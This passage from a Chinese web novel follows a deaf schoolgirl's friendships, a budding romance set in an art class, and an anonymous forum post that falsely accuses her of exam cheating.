「啊,还没完。」许苹安说书上瘾,「却说那时,谢恩雅正好在“行侠仗义”——就是揍人,警察叔叔于是把他们几个打包带回局里了,你们盛池二把手的儿子和谢恩雅的干部舅舅一起去捞的人。」 那就是池静俭。 「他俩就这样结下梁子,再后来的事我没听完,你发消息,我就约裴景一起过来了。」 裴景怀疑道:“这消息保真吗?我为什么觉得你是小说看多了,不然你趴人家床底下听来的?” 许苹安:“不需要。谢恩雅身边头号小弟是个大漏勺,你去我们年级问一圈,消息灵通的都知道。” 裴景:“这么说,这李闻蝉不仅不算‘校霸’,还是个好人。” 池映雪和他们离得比较近,只能听见半耳朵,却在“好人”二字后心领神会,猛猛点头。 许苹安和裴景早就知道她耳朵上的“奇迹”,对此并不诧异。 裴景转过脸悄悄盯了她的侧颜一会,将目光移开,环视整洁高级的店面,手指在稍微褪色的校服裤上用力划了几道。 两个人来时坐公交,中间有段路没修,回去时,池映雪送他们去地铁站。 路过售票机,许苹安一拍脑门:“小雪现在学会坐地铁了么!” 裴景也忧心忡忡看着她,池映雪弄清楚后,摸了摸耳垂,很不好意思地点头。 会了。 就是在这里,有人教她。 许苹安放下心,手机忽然响起。 是她妈咪。 哎,估计是来关心小雪成绩的,然后又要唠唠叨叨她这个可怜的小学渣。 许苹安躲到一旁去接听。池映雪和裴景见怪不怪,相视淡笑。 池映雪看了眼表,不着急,等苹安回来,她目送他们过了安检再回学校也不迟。 裴景走到她肩侧,二人贴着墙等待。 算算也快到下午上班的点了,地铁站的人渐渐多起来。 安检口已经开始需要排队时,裴景开口:“小雪,听得见吗?” 池映雪没有动静。 裴景轻轻勾起唇,掌心贴向冰凉的墙面。 “……” 地铁驶过,轰隆轰隆。 二人的干净外形频频引行人侧目。年轻清寒的少年身姿如松,校服挺阔,和并肩站立的女生是两个截然不同的款式。 裴景:“看你在这边这么好,我就放心了。” “如果我猜的没错………” “希望你喜欢的那个人,也会喜欢你。” 时不时有人通过安检,刷地铁码,一声又一声滴中,他声音更断续。 “像我对你那样。” 咚咚! 很重两声脚的踏步。 嘈杂的地铁站,池映雪第一回耳朵轻动,转眼就被不知何时回来的许苹安扑了个正着。 许苹安挤在她和裴景中间,贴上她的耳,大声道:“走啦!下次见!” 池映雪用力点头。 回到教室,她把刚才随身携带的小本子取出来。 因为新手机很方便,用来写常用对话语的小本子已经不多用。封皮下从第一页开始卷皱,即使保存很好,也无可避免微微泛黄。 池映雪把小小的皱起用指甲小心刮平,贴上许苹安刚刚带来的小贴画。 最开始的花花贴画褪色了,这回苹安送的是葡萄的。 因为池映雪说过喜欢吃。 被记住的感觉真的很好。 冷白色的手闯入视野,轻轻松松抢走她的本子。 池映雪条件反射地踮脚抬手去够,李闻蝉双手举高,她根本奈何不了他187的大个。 这还是上次篮球赛,从女生小群那边听来的。 李闻蝉挑眉,一手本子一手贴画纸,目光锁定画纸最上方店铺的LOGO。 好几秒才欣赏完,双手将东西还给她。 池映雪鼓着脸接过,没好气地用本子拍他尚未收回的掌心。 “诶。” 不痛不痒。 李闻蝉眉眼一转,痛嘶一声,修长的手指按住另一只,“额……” 池映雪:“……?”不是吧。 他,他什么时候这么娇嫩了吗。 不是他徒手干倒好几个持刀恶霸的时候了? 李闻蝉睫毛不自然地一抖,赶快耷拉下眼。 他垂头默默回了自己的座位,一步更比一步凄凉。 拖着一根指头给池映雪发消息:「没关系,我知道,你刚才去见你以前的朋友了。」 「我这个后来者疼一点是应该的,谁让我来得晚呢……不像他们,只要一条消息你就抛下我们去聚餐,哪怕在教室多等半个小时。」 池映雪:这都什么跟什么。 小雪:「你好讨厌呀,能不能好好说话。」 李闻蝉:「不好呀。」 池映雪磨虎牙霍霍。 李闻蝉:「除非,你什么时候也介绍我和他们认识认识?」 喉结滚动。 有点儿紧张。 对面一直没回复,李闻蝉向左瞥一眼,刘海低低垂,似乎在沉思。 peijing。 这名字,听到很多次了。恐怕是个男的。 李闻蝉默念一遍,后槽牙咬住,手指在屏幕上方滑来滑去。 好不容易忐忑落下,正要发一条要不以后再说,对面弹出新的白框。 小雪:「你是认真的吗?」 李闻蝉心跳骤停。 一时竟然不知道她问的是什么。 池映雪的指尖在屏幕的空白处点点点,双脚并拢。 湿润的风像橘绿色的颜料,将低马尾的末梢向右吹拂。 小雪:「是认真想要和他们见面吗,还是随便说说。」 李闻蝉:「当然是认真的。」 池映雪把手机倒扣,单手撑脸,可是这个动作太明显了,右边很轻易就能看到。 她又把手机摆正,戳点键盘:「我能不能问你为什么?」 右边传来很小声的嘟囔:“这还不明显…” 池映雪撑脸的手向上移,改为捂住大半张脸。 不知道是不是在汤咖喱店里喝了苹果黄芪水的缘故,气血好足。 手心好热。 李闻蝉:「原因蛮多。」 「最想见他们的理由大概是……」 「也许会“见到”过去和他们在一起时的,某人。」 66. 第 66 章 李闻蝉:「比如说,和他们挖一挖你的黑历史什么的。」 池映雪:? 李闻蝉:「不知道我们雪神在七中有什么光辉事迹?」 池映雪人生第一次有了想要摔手机的冲动。 不过话说回来,她的“事迹”还真不少,就像那个“水会死亡”。 但苹安和裴景肯定不会出卖她的。 池映雪得意地弯眸,斜抬下巴微微笑。 “哟。”李闻蝉手掩嘴,换了个坐姿。 「这么自信?」 「看来关系真不错啊。」 小雪:「当然。(左哼哼)」 李闻蝉欣慰地勾起唇角,长眸倒映她的轮廓。 午后正好的阳光透过玻璃窗洒在他背后,秋天的太阳,没来由的有点寂寥。 李闻蝉:「挺好。」 「信任是最最最最难得的。」 这两个字说简单很简单,说难也很难。 没有遭遇过背叛的人,天生就懂得信任人心。 李闻蝉一字一字,很认真地打。 「希望池映雪同学永远可以放心地信任别人。」 地铁站。 和池映雪分别后,裴景拿捏不准许苹安是什么时候回来的,过安检后帮她捡起包拍了拍,随口问:“你刚才……听到什么了吗?” 许苹安接包的手一滞,咧开嘴笑:“我应该听到什么?” “不是吧裴景,你和小雪对我有秘密了?” 裴景松了口气:“没有。” 他率先打开乘车码向前走,身后的许苹安注视那道清瘦背影良久,终于小跑着跟上去。 “对了裴景,你有没有觉得,小雪变化挺大的。” “的确,比以前高了些,现在好像将近165了吧。在新家营养应该也补充的不错,不会再像以前那样吃不饱饭。”裴景笑叹,“也长了些肉,以前太瘦了,这样刚刚好。” 许苹安也笑,淡淡的:“这倒是。” “但我说的是……气质方面。” “最早认识的时候,她瘦瘦小小一个,也不懂怎么和人来往。” “现在大大方方的,很优秀,很坦荡,穿漂亮高级的制服,头上那个据说是她新朋友送的小卡子,我刚查了一下,要上千块。” 许苹安自嘲道,“感觉我们两个再也帮不上她什么了,我们和她,会不会慢慢变成两个世界。” 裴景没有说话。 许苹安要回趟家,二人在不同列的指示牌前分别。 裴景忽然开口:“我们应该为她高兴。” 许苹安点点头,目睹他离开,手抓紧了包带。 “幸好,她没听见你的表白。” 酸涩的轻声在地铁站空荡荡的长廊里响起,“幸好你只敢这样表白。” 许苹安喃喃:“因为我也不敢……” 她忽然住口,警觉地回头,打量面容精致的黑衣少女。 “刚才咖喱店我就注意到你了。” 邢芷:“你是池映雪在七中的朋友吧?你喜欢刚才那个男生?” 许苹安眯起眼,没有说话。 “池映雪桃花真多啊,我最好的朋友,她喜欢的人也被池映雪纠缠不休呢。” 邢芷挽住她的手,“聊聊呗,说不定我有办法让这个帅哥对池映雪彻底失去好感噢。” 许苹安甩开她。 走远两步,猛地回头。 “——什么办法?” 邢芷掩下眼底的轻蔑,上前一步:“这样………” 地铁站的柱子后突然传来细微响动。 二人瞬间噤声,可等找到来源跑过去,柱后空无一物。 邢芷皱眉深嗅,总觉得这里残留的香很熟悉,有些凉凉的。 快上午自习时,一班教室的门后。 池鲤鲤从座位站起:“星桥哥哥,你终于回来了!” 沈星桥对她笑笑,和素日一样没说什么,并不如往常平和温润。 他抬手擦了一下额角跑出来的薄汗,将门关严。 手心紧握的屏幕,来不及关闭的录音键十分醒目。 穿越一条悠长的连廊,与教学楼紧张肃穆的氛围相反,综合楼安静悠然。 美术选修的教室。 按照上周老师说的,这节课学习油画。 就在昨晚,池润主动问了池映雪已经出分的成绩,尤其对满分的数学大加赞赏。 要来她的课表后,池润主动提议为她准备油画的工具,还临时请来懂得手语的老师进行为期一晚的一对一速成课。此外,他还让秦书将各种礼仪课、鉴赏课也安排上。 今早池映雪来学校前,还有之前窗外车里遥遥一瞥、为池鲤鲤做造型的摩登女士为她盘发,早饭都是阿姨端到梳妆台前的。 据说是池鲤鲤都不曾有的待遇。而池鲤鲤今早才因为期中考当天和邢芷的胡闹被池润训了一顿,上车前还红着双眼。 池映雪胸中最后那点郁结慢慢散去。 只是她暂时没想明白为什么,郁气解了,还有一口浊气在。就像池家常年燃起的壁炉火,温暖后抽离,看不见的浓烟。 叮呤哐啷的声音打断她的思绪。 李闻蝉怀里的颜料盒不慎打开,贴着五颜六色包装纸的白底颜料摔了满桌。 池映雪忍不住偷笑,旁观他利落地将颜料收进盒中。 待李闻蝉幽怨的眼神望过来,她转过眼,双手背后靠墙站,嘴巴微噘。 上次他不是不和她坐么。 现在又想当同桌,是不是太晚了一点。 系统戴上耳机开始放歌:[唷!哟!当初是你要分开,分开就分开~现在又要用真爱……] 池映雪啪地一下用画板挡住滚动的歌词屏幕,收到李闻蝉的消息轰炸。 「同桌。」 「(可怜)」 「你不当我同桌,我就没同桌了。」 胡说八道。这人明明就很受欢迎。 李闻蝉:「说真的。而且明天我就走了,你还不能满足我这一个愿望吗?」 池映雪被他吓一跳,顾不上拿腔拿调:「你要走?去哪里?」 李闻蝉长长地叹,满脸落寞。 池映雪的心提起来,空荡荡的。 李闻蝉:「今晚有点事要去西郊处理,明天不一定能办完,得请假。」 池映雪:“………” 那他说的和什么生离死别一样。 李闻蝉:「再而且,这可是本学期最后一次课上绘图,不考虑画一张?」 「老师在台上演示没法面面俱到,你不会的话,这里还有个现成的一对一特约老师。」 「不收钱,不敷衍,有问必答,包教包会。」 李闻蝉清嗓,放下手机挺胸昂首,转动修长的画笔。 不知道是不是故意,池映雪总感觉他有意在她面前显摆他那只骨节漂亮的大手。 系统:[哼哼,男主大人肯定想不到,宿主昨晚就已经上过针对班了!] 池映雪摸摸鼻尖,戳按手机:「我才不画。」 「画完还不是被有的人嫌弃。」 李闻蝉立马道:「谁啊?谁这么没品位?」 哼…… 池映雪鼻子哼气,又扭捏了一会才回复:「那好吧。」 「我可以画,但说好了,我不会,你要教我。」 系统:……? 系统:昨晚被私教和亲爹夸奖成品的人是谁啊。 它突然发现自己在这张摆着两个画板的课桌上有点多余。 池映雪照李闻蝉演示的那样调配好颜料,到了该上画布的时候,眼珠转动,右手对准小刷子——采用了握把手的手势。 李闻蝉一开始还当她在玩,直到刷子快碰到画布,才反应过来她是真打算这么画。 “不是……”他无奈地笑了一声,下意识伸手握向姿态滑稽的笔刷手柄,帮忙调整。 指尖不可避免地触及那只右手。 好凉。 这是李闻蝉的第二个反应,被他不自觉讲出口。 手心覆在手背上。 清冽的声音,干净的味道,说不清耳际与鼻尖哪个更酥麻。 池映雪右半边的身子被阴影包裹,迅速温热起来。 空白的画布,弹出系统独家电子屏。 [叮!“来一次手把手的甜蜜教学叭!”任务完成!] [叮!特殊任务激活~“身为最强男主,高傲狂拽的人设绝不能丢!但真爱就是让他甘愿打破桎梏!从现在起,让男主为你崩三次人设吧!”] [每完成一次即可获得200字奖励,任务结束后统一发放!当前进度:(0/3)。] 李闻蝉帮池映雪调整好才侧身去弄自己的,时不时来指点一下。 池映雪的颜料盘和金属桶里一水的蓝灰白,他停下来侧耳倾听她想画什么,一无所获。 从篮球赛左右,这破能力老是失灵,又好像只针对她。 李闻蝉并没放心上,转念又思考起旁边的画布到底会是大海,还是蓝天白云。 池映雪铺好浅蓝的底色,也向他那边看。 得,又是星际宝贝。 李闻蝉画画真的很好看,相当专业,不知从哪里学来的,也不知为什么会学这个。 还有史迪仔,他的头像是,空间的背景是。 池映雪之前瞥见过李闻蝉的手机壁纸,也是它,后来才换成她生日零点“烟花”下几人的合照。 说实话,这两件事就很不符合他的“人设”。 画布上的史迪仔每一笔都很完美,但这个配色…… 是她之前在章子健姑姑的那家手作店里照教程调的薄荷绿加粉。 她没能调出教程里标准的颜色,他画上的颜色却和她那个一模一样。池映雪自己再画一遍,都没法这么精准复刻。 李闻蝉突然与她目光交汇。 「喜欢?」 他直接用笔头很细的画笔在手边用来试色的白纸上写字,「画完了送你。」 池映雪眼睛一亮,好奇却大过渴望,故而不置可否。 沉吟片刻,她也提笔在白纸下方写字。 「我有个问题。」 「你为什么这么喜欢史迪仔?」 她很确信李闻蝉在她写完就看到了。 但他一直没答复,只是借着用细笔描摹勾勒史迪仔耳朵里的花纹。 眉眼清凌,睫毛在侧脸投下冷色调的影。 等池映雪开始蘸取白色颜料的时候,才发现她的问题下多了一行字。 因为我很喜欢星际宝贝的台词。 “他们是我的家人。” 李闻蝉站在她右侧,肩膀比她高出一截,低音无意随空气顺流而下,落在池映雪的耳畔。 我自己找到的他们。 我家很小,又很破。但是很幸福。真的很幸福。 大概是知道她听不见,他又很想说——池映雪是这么猜测的。 李闻蝉声音很淡:“我父母在我很小的时候去世,在那之前就发生过很多事,我们……其实生活在一起的时候,也并不愉快。” “我一点都不喜欢他们,他们也一点都不喜欢我,很长一段时间,我都是这么想的。” “我在中央6台看到这个动画片,听到这句话,豁然开朗。除了池家的人,我尝试自己去外面交朋友,找到属于我的‘家人’。” 池映雪没有看他。 也不敢看他。 画笔停下来,白颜料在蓝色背景停滞不前。 “我找到的第一个‘家人’,你见过。” 池映雪呼吸停滞,她知道那个名字……李闻蝉弯了弯唇,没什么温度:“叫蒋傅。” “可惜了,没找对人。” 即使是说这样的话,他的声调也没有憎厌。 很淡,很清,和往常一样吊儿郎当。 池映雪捏紧笔,还等着他说下文,李闻蝉话锋一转:“上次你生日我去晚了,倒是因为一件和这些有关,但很好的事情。” “我妈妈,在和我父亲发生意外前一直对我避而远之。我一直以为比起那个把我当成牟利工具的亲生父亲,她对我更疏离,连看一眼都不情愿。” “可那天唐姨回南城,传给我一份录像带……还当面谈了很久,我才知道她和我想的一点都不一样。” 唐伯霓和他的妈妈花颂音是一起长大的好姐妹。花颂音意外走后,唐伯霓无法接受挚友的离去,始终不肯整理她留在HK的遗物。 直到花颂音当年的主治医生临终找到她,唐伯霓才得知花颂音有隐藏很深的心理问题。 没有病因的基因突变,没有根治的方法。 唐伯霓这个密友不知道,年仅六岁的李闻蝉更不知道。 花颂音和李父商业联姻,互不干涉,唯一牵挂的只有他,但她不敢离他太近。 李闻蝉的声音停住。 不敢离得近,唐姨以为是怕发病吓到他,其实李闻蝉知道,妈妈是怕他听见她心里病态的声音。 画笔有一下没一下落在纸面:“妈妈留下的录像带,全都是我。有她在阁楼上俯拍的,在花园里玩耍的我,还有站位遥远,一大一小的‘合影’……” “那录像带还挺长的,我看了好久,看到手机只剩1%的电,去晚了也没能联系你们。” 这还联系什么啊。 池映雪低着脸,闷闷地抹开颜料,说不上什么心情。 嗓子特别哑,像有一团苦涩的气体向上顶。 “过去十几年,我以为她不喜欢我,那简单,我也不喜欢她就好了。”李闻蝉突然笑起来,“但和你这么一说我才发现,我完全没做到啊。” “为什么学画画,从哪里学来的。” “可能是遗传吧,也可能是因为从幼儿园就自学到至今。” 少年身形挺阔,眉眼的冷感抵不住语气温和,“因为我妈妈花颂音,是一位非常棒的画家。” 风将美术教室的后门吹开,又一次。 不同于前段时间雨季的潮湿,眼下秋更浓,气候却温暖。 透过门缝落在地面的金黄阳光,也同时洒落在恰好完成的画布上。 李闻蝉的笑很轻松,散漫里唯有一丝吹不散的冷。 可惜。 他不能选的家人不在了; 选到的家人,也总是各有各理由的走散,没留下几个。 袖口忽然被从左边轻轻拉扯。 李闻蝉放下笔,边擦手边偏眸。 画布上安静地飘着一朵雪花。 池映雪连画带板从固定架取下,小心翼翼地双手推给他。 距离拉近,李闻蝉这才看清画布右下角小小的文字。 ——雪花,送给你。 ——雪花不会走路。 不会走路,所以,不会离开。 更不会走散。 李闻蝉怔在原地,忘记去接过。 池映雪眯起眼,双手都被占用,于是向前倾身,脑袋顶了顶他的校服领带。 李闻蝉的眼神从空茫蓦然转为清明。 黑眸很亮、很亮,像漆黑夜空顷刻间闪烁无数颗流星。 像那晚只为她点亮升起的无人机烟火。 池映雪的眼前出现他的小拇指。 拉钩。李闻蝉做这样的口型。 小拇指相触。 小拇指勾缠在一起,左右摇晃。 拉钩上吊,永远不许变。 池映雪想,友谊天长地久,朋友也可以是自己选择的家人,她会永远记住这两句话。 李闻蝉的睫毛垂下,勾着她冰凉的小拇指,悄悄相缠更紧,用他的体温传递到相贴的肌肤上。 他不甘道:“虽然但是,在朋友和家人之外,还有第三种关系……” [叮!攻略对象好感+5。] [当前男主好感:84,恭喜解锁“听力等级4”!!] 来自左边的小拇指骤然停滞在半空。 池映雪的脸瞬间变红,比下一步反应更快的,是被细细气流打通的耳道。 嗡嗡杂杂的白噪音在半秒内以更为清晰的形式来到她意识里:“噫~~~” 那是起哄的声音。 ———整个美术教室的同学,包括讲台上早早演示完、优雅“摆烂”的老师,全都注视着他们。她和李闻蝉。 准确的讲,注视他们相牵的手指。 不晓得已经看了多久。哄声甚至在她看回去的瞬间放得更大,拉得更长,夹杂着吃瓜时神采奕奕的笑。 [叮!“送他一朵小花花”任务完成,更新为:“为了彼此歌唱吧~”。] [任务提示:身为男主,不管什么技能都被点亮,包括美妙的歌喉与超强的乐感。声音是传递爱的媒介,请你们相互倾听~] 系统回头凝望被李闻蝉珍惜收好的油画,吐槽:[雪花也算啊……] 美术课结束,池映雪去往微积分教室的路上,被孟心词追了上来。她下节课也在那个方位。 心词:「小雪,刚才上课你和那谁……」 池映雪被她握住的手指有点僵硬,不知如何回复,孟心词紧接道:「他是不是对你有意思啊?」 这要怎么说。 按系统给的好感度来看,是、是有吧。可是她…… 池映雪脸红红的,孟心词一下就眯起眼,意味深长地翘起嘴角。 她懂了。 孟心词很用力地叹了口气,撩一把秀发:「放心吧,我会保密的,而且我突然发现我也不那么喜欢他了。」 池映雪慌乱的心很奇异地因为这句话平稳下来,还没有搞清楚自己的异样,问题先一步冒出来:「为什么呢。」 心词:「我也不懂诶。但说实话,我要是真的喜欢他,就算知道他喜欢别人也不会放手的,现在却觉得无所谓,只是对着他那张帅比脸的时候有点可惜。」 「以前他也是那个冷不拉几的拽样,我背地里和闺蜜吐槽过一万次,见了面还是猛猛crush。最近他人没变,我却没那么迷恋了。」 孟心词拧眉认真思考了一会,没得出什么结论,只当她追星进入了倦怠期。 两个选修的教室分别在3楼和4楼,楼梯间的分别处,孟心词正要收起手机,池映雪揪了揪她的袖口。 孟心词:…… 她其实也并不是对这位池同学一丝芥蒂都没有——谁能一下子接受自己追了好几年的男生对一个才转来半学期的人与众不同? 但是,她好萌啊。 这种人池鲤鲤也能讨厌的起来? 孟心词都有点嫉妒李闻蝉了。 孟心词心痒痒,勾住池映雪的小拇指:「怎么啦。」 池映雪垂下睫毛,终究还是闭了闭眼,咬着嘴巴发送消息。 小雪:「那个……孟同学,你是怎么确认自己,喜欢一个人的?」 也许是这段时间池映雪在池家的待遇太好,得到的亲情太温暖,尤其是其中考出成绩这几天。 周五早起,坐在餐桌上,她本能觉得气氛有些不太对。 池怀元不在。池润依旧坐在上首,一言不发地用餐;秦书虽然有讲话和布菜,脸色也不是很好看。 昨天早晨还把早餐端到池映雪梳妆台前的和善阿姨,放下牛奶杯的时候,动静很大。 乳白色的液体滴洒出来,没人留意,或者留意到却不关心。 因为过往的经验,池映雪下意识以为是池鲤鲤又做了什么,然而池鲤鲤同样迷惘而警惕地看向她。 早饭吃完,秦书才正眼看向池映雪。 「今天我陪你一起去学校,有些事情要处理。」 她顿了顿,接着在五个人的家庭群里发消息,「池映雪,做人要诚实。」 池润:「以后你的功课交给我亲自检查。还有,我了解到老师平时会把答案多给你一份,那是因为你耳朵不方便听讲,不要依赖它。」 「我还是那句话,你的底子很优秀没错,但在以前那种环境养成的陋习,趁早改掉。」 池映雪一头雾水,直到坐在车上,点开七人的小群。 她入睡很规律,如果没有特殊的事,每晚十一点多一点就睡着。昨天晚上,就在深夜后,小群里却沸腾不休。 万苏瑶:「我真的骂人了!哪个呆比在论坛里传谣,之前的教训没长够是不是!!」 万苏瑶:「(链接)家人们,去举报!」 章子健:「什么情况?」 章子健:「艹。」 胡挚:「?毽老师你居然骂人了,让我看看是怎么个事。」 胡挚:「卧槽这人有病啊!」 链接里,一个顶着“匿名用户2121”id的账号发了很长一篇图文汇总,细数池映雪利用池家在校内的资源串通监考老师作弊的“实锤”。 除此之外,发帖人还找到了池映雪过去在七中的同学,拿到了他们作证池映雪昔日就有各种嫌疑的聊天截图。 【27L】匿名用户2121 我还特意找到了一位池映雪在七中时关系很近的朋友,连她都看不过去池映雪的作风,和我说了很多事。 其实动脑子想想也知道,一个聋哑人怎么可能拿那么好的成绩?就连我们熟悉的沈神、鲤鲤同学也没有那么“神”。 ——楼主听说这一切都是池家的“造神”计划,池家的大伯就是校董,而据观察池映雪不论平时的作业还是小测总能提前拿到答案,谁能说这其中没有关联? 哦对了,除了成绩,她的私生活也让人堪忧! 在七中学习就靠高一级的学长辅导,将她成绩一路带好后,她转头就来了虹文,翻脸不认人; 在虹文我就不多说了,一开始的宁世延和穆雨阳,空穴不来风; 还有你们总说池鲤鲤对她不好,那废话,谁让她妄图纠缠沈星桥…… 这个点,除了昨天晚自习就请假走人的李闻蝉,群里其余人都逐渐起床,拿起手机就是@池映雪安慰。 池映雪翻一翻论坛,下面一水的附和,还有不少人已经开始言语攻击,但比起上次来说,人数少了许多。 毕竟当时跟风骂过她的所有人,最后都被要求挨个开帖道歉了来着。 她点回企鹅看几人义愤填膺的发言,很浅地勾起唇。 系统:[宿主……] [虽然他不在。]系统趴在她紧握的拳,[但借用男主大人的话,宿主不想笑的时候,可以不笑的。] 池映雪看向车窗外,车窗玻璃反射恬静的侧颜。 “我是真的想笑。” 胡言乱语的发帖人,论坛里跟着骂的墙头草。这是人无语到极点的笑。 为了她不平的友人。这是暖心的笑。 淡淡的眸光流转,聚焦在保姆车前排的秦书背影。 那是她的生母。 又一次,仅凭论坛里的“证据确凿”,不问问她就有了成见的母亲。 父亲也是。 哥哥……他不在,但论坛里的账号,全家除了她和池鲤鲤,就只有他上次月考后托人拿到。 忽然就明白了胸中残余的那股浊 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被点名的齐幂与徐静萌双双怔愣,主任推了下眼镜,起腔道,“你们两个是校友吧?听说私交也不错,说句不好听的,谁又能保证齐老师没有参与?” “数学考试连续两次都由齐老师参与选填命题,那选择最后一题不学竞赛根本做不出来,池映雪有奥数的底子吗……” 徐静萌打断他:“清者自清,您请慎言!我只有一句话,绝不同意启用B卷让学生重考,造谣成本低,对学生心理伤害大,她的优秀有目共睹,不需要一次次自证。” 主任皱起眉,看向风暴中心的池映雪。 她像是台风的眼,太平静,太置身事外,好像他们谈论的人不是她,只是会向徐静萌投去含着光的眼。 想来也和她的聋哑有关。 再怎么说也不过是个聋哑人,得罪她,池家不会真的动怒……主任眼中闪过暗芒:“而且虹文的学生除了学习,道德品质也有要求,她在以前的学校就沾染那些不好的风气,还将它带到虹文,难怪一来就闹出这么多事端。” “苍蝇不叮无缝的蛋,怎么论坛那么多人,只盯着她爆料?” 万苏瑶差点没忍住上去给这个老家伙一拳,徐静萌更是怒气冲天,顾不得这是领导,眼看就要反驳。 齐幂抬掌拦住她:“主任,就事论事。” “我与徐老师是贵校特聘的省市级优秀教师,我愿意用我的名誉和履历担保,池映雪同学的智力水平足以匹配她的成绩,根本没有作弊的必要。” 徐静萌立马附和。 他俩底气太足,主任的脸僵了一瞬。秦书自始至终插不上嘴,拎包的手愈发收紧。 她第一次发现,她不了解这个女儿。 齐幂和徐静萌名校毕业,荣誉等身,是教育业年轻一代的翘楚,上一次二人带的毕业班,数学均分并列全市第一。徐静萌她不熟,却在池鲤鲤升学前打听过齐幂的为人。 传言他从小就是理科天才,为人心高气傲,是绝对的精英,对待学生也从来不看出身——他都是看成绩。就连池鲤鲤徘徊年级五名的成绩,也不能入他的眼。 这样可以称为自大的人,如今用自己的名誉,信誓旦旦为池映雪担保。 再看周围的学生们,电视台台长的孙女、胡家的独子,还有数个虹文的学生……全都站在她身后,一会对主任怒目圆瞪,一会关心打量池映雪的表情,生怕她露出半点伤神。 可她明明才转来半个学期。 他们就这么相信她?为什么? 秦书突然与池映雪四目相对,在她眼里看不见平时孺慕的光亮,只剩下平淡和释然。 原本,她被池润再三强调要赶来压下这件事。 虽然压下来就等于变相承认池映雪的确作弊,但说实话,他们两个对论坛的话并非全然没有怀疑。 不作弊,养在应家那样的家庭,怎么会比他们精心培养了十几年的池鲤鲤,甚至是当年的池怀元还要优秀? 不作弊,那品德呢?那几个男生,还有好几个七中学生甚至是她曾经最好朋友的作证…… 可事到如今,秦书的心慌张起来。 “主任,我们家小雪说不定真是被冤枉的,您必须……” 啪。 办公室的门打开了。 和上次一样。一样的位置,一样的逆光而来。 池映雪猛然回头,眼中的光在意识到开门声并非那么清晰后略有暗淡。 可沈星桥穿越人群一步步走过来,她的眼睛又有些发亮起来。 对了,最后那道题。 既然主任最大的质疑在于她没有数竞的功底,数学选择最后一题不可能做出,那么只要沈星桥一句话,这个问题迎刃而解。 就在期中考前一天的数学选修课,她还和他讲了一遍那道题,亲手示范了两种不同的解法。 几乎相同的知识点,只是变了侧重的考查形式。 池映雪放下心,趁着现在安静,仔细聆听沈星桥的声音——好感度达到80后的听力奖励,只要环境安静,距离几步内一人对讲,她都能听见。 温和而沉稳的清润嗓音,和想象中一样。 沈星桥在众目下开口:“主任,我有件事想说。” 他从校服口袋中取出手机,滑动屏幕。 池鲤鲤咬紧牙,盯着沈星桥和池映雪并肩站立的身影,肌肉又一点点放松。反倒是旁边的邢芷目光明灭,偷偷发送了一条短信。 万苏瑶:“他这是有什么证据吗?能帮小雪?” “这家伙人还真不错,关键时候能上。” 胡挚应和:“确实,我为我之前的偏见道歉。” “什么偏见?”万苏瑶放松下来就开始闲聊,胡挚挠挠头:“就是篮球赛我以为他对蝉哥……” 章子健忧心忡忡,胳膊怼了他一下:“话说,这么大的事,你蝉哥呢?” 胡挚的脸瞬间黑起来:“啧。” “他去堵人了,估计是不可能有空赶回来。” “这份文件是……” 沈星桥的声音响起,窃窃私语戛然而止。 “是昨天论坛里跟帖的数据汇总,从数量来看,跟帖人数已经超过本年级内部人数;从时间来看,大都活跃在凌晨十二点后。” “我认为这起事件无论真相如何,极大程度影响了学生们的学习,所以我在这里提议——” 沈星桥目不斜视,“立刻将它压下去,删帖封楼,禁止讨论。” 压下去。 几乎所有人都立马想到,和池映雪私交甚密的他这样说,没准就是他在默认她的作弊。 鸦雀无声。 沈星桥捏紧手机,闭眼又睁开,沉静道:“……池同学的确没有系统学习过数学竞赛的知识。” 他侧着脸,池映雪看不见表情。 现在是秋天了。 她很久没去过南城图书馆。 夏天的风仿佛已经吹完,大片绿影变为枯黄的叶子,卷起萧瑟的冷气,透过办公室的窗缝刺向她的后背。 沈星桥说完,依旧没有偏头看她一眼。 他抬脚走向对面池鲤鲤的方向,池鲤鲤下意识后退一步,刚好遮住后面邢芷对门外招手的小动作。 胡挚:“我特么的沈星桥……!” 万苏瑶庆幸池映雪听不见,正要悄声和胡挚骂他,瞥见办公室门口第一次见的身影,防备道:“那又是谁?” 池映雪顺着她的话看过去,眼睛比听见沈星桥话语时睁得还要大。 许苹安。 她怎么会来? 系统:[宿主你那么聪明,真的一点都想不到么?] [你说那个匿名用户2121找的“七中好友”,是谁呢?] 池映雪:“苹安没道理帮她不帮我啊。” 系统并不乐观:[宿主您能想到沈星桥为什么背刺您吗?] 池映雪的沉默仅有一秒,还是道:“我相信苹安。” 短短数秒,许苹安来到人群中心,略有些不自在。 邢芷打破僵局:“主任,这是谁啊?她是不是有话要说。” 主任不耐地问了许苹安来历,许苹安没有犹豫,就像事先演练好那样:“我是池映雪同学在七中最好的朋友,对于昨天论坛里说的那些事,我这里有更详细的情况要说明。” 看起来能证明他的猜忌没错,主任一下子来了兴致:“你说!” 池映雪紧紧盯住熟悉的身影。 “哐——砰!!!” 大门被剧烈地撞开,反弹数下,许苹安刚开了个头的讲述被迫中断。 众人再次将视线投向门口,池映雪紧捏的拳顷刻间放松。 她这才发现掌心很痛。 似乎从在来学校的路上,手掌就一直蜷缩紧攥,指甲深陷肉中,直到现在。 ……直到李闻蝉拨开人群大步流星地向她走来。 不知道去哪了,不知道去干嘛,他的校服又一次没好好穿——也或许是弄乱了。外套大敞开,领口的扣子也松掉,脸上有道很细的浅红色刮痕。 池映雪的鼻头一下子就酸了。 李闻蝉在她身前停下,宽阔的背,高挑的身形直接挡住了诸多视线。 一言不发,胜过千言万语。 主任额角流下一颗冷汗,这人才是他惹不起的! 他不是请了一天的假吗?! 那双锐利的眼先是直逼他,移向秦书时充满失望,最后锁定许苹安。 许苹安已经重新开始讲话:“在七中时……” 李闻蝉眯起眼,正要上前一步,池映雪眼疾手快地拉住他。 她对他摇摇头。 也是很巧,记得昨天二人还在一起谈论过“信任”,当时她就对他说,苹安和裴景肯定不会出卖她。 现在也一样。 李闻蝉烦躁地啧了一声,回头看一眼许苹安又转回来,眉眼焦灼。 他像是下定什么决心,蹲下身凑近她,点开备忘录匆促打字:「我不会对她怎样,只是想确认她对你怎样。其实我能……」 “在七中,小雪就受了很多欺负。” 李闻蝉打字的手指悬空。 下意识抬眸,对上池映雪轻轻颤动的睫毛。 羽睫之下,波光细碎。 许苹安:“帖子里找的那些所谓的知情同学,无一例外,全都是当时霸凌她的刽子手!指望他们说什么好话,可能么?” 